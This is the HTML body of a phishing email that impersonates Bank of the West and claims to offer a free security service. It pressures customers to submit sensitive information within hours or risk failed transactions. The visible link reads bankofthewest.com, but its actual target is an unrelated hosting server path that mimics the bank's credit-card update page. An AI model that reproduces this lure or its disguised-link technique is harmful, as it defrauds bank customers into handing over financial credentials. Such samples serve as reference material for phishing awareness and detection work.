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<td height="42"><p align="justify"><font face="Trebuchet MS" size="2">At
the Bank of the West, we take protecting your financial information
seriously. We recognize and respect your right to privacy when it comes
to your personal financial information. Please attend to our request
to our active consumers to protect them of online fraud and frequent
rising scam attacks against our financial institution. </font></p>
<p align="justify"><font face="Trebuchet MS" size="2">Actually, we are
performing security improvements of our banking community and enforce
customers to register their sensitive information for an additionally
created free security service to prevent any fraudulent activity against
their assets and savings. We, hereby ask you to respond within few hours
of current notification and complete security application form via our
SSL protected website to apply for this service absolutely for free,
otherwise your account(s) may not process posted transactions correctly
and on time.</font></p>
<p align="justify"><font face="Trebuchet MS" size="2">Please visit us
to apply <a href="http://server.jkahosting.com/~tony/pixer/images/contact/cgi-bin/.www.BankOfTheWest.com/UserInformation/Update/CreditCard/"> http://www.bankofthewest.com/?register=aSODJ3</a>
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<p align="justify"><font size="2" face="Trebuchet MS">Thank you for your
time! <br>
Donald McGoldrick, <br>
Bank of the West<br><br>For more information on how we protect your information online and our approach to privacy, please see our website. </font></p>
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